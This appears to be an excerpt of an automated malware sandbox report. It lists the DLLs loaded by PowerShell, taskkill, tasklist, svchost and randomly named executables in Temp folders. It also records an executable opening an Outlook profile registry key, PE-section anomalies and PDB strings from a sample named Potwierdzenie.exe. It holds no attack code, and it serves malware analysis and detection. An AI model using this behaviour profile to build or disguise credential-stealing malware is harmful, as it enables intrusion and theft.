Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 1933824 > 1048576

Source: file.exe

Static PE information: Raw size of vcuubckp is bigger than: 0x100000 < 0x1a6600

Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libcrypto-1_1.pdb source: Potwierdzenie.exe, 00000008.00000003.2542334338.00000000096AE000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3011025554.0000000009D10000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libssl-1_1.pdbAA source: Potwierdzenie.exe, 00000008.00000003.2543164245.00000000094F1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3013485661.0000000009E80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\x86\Release_Full\BoxedAppSDK_AppDomainManager.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_opcache.pdb###UGP source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001666143.0000000009850000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\nghttp2\lib\RelWithDebInfo\nghttp2.pdb// source: Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\Win32\Release_Full\TLSSupport\TLSSupport.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2905070081.00000000065D0000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026289887.000000000BBE2000.00000002.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\libssh2\src\RelWithDebInfo\libssh2.pdb66 source: Potwierdzenie.exe, 0000000A.00000002.3014923390.0000000009F30000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_curl.pdb source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\nghttp2\lib\RelWithDebInfo\nghttp2.pdb source: Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: /D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php8.pdby source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986280038.0000000008D80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\libssh2\src\RelWithDebInfo\libssh2.pdb source: Potwierdzenie.exe, 0000000A.00000002.3014923390.0000000009F30000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libssl-1_1.pdb source: Potwierdzenie.exe, 00000008.00000003.2543164245.00000000094F1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3013485661.0000000009E80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\Win32\Release_Full\BoxedAppSDKThunk\BoxedAppSDKThunk.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php.pdb source: Potwierdzenie.exe, 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987607729.0000000008F80000.00000004.10000000.00040000.00000000.sdmp
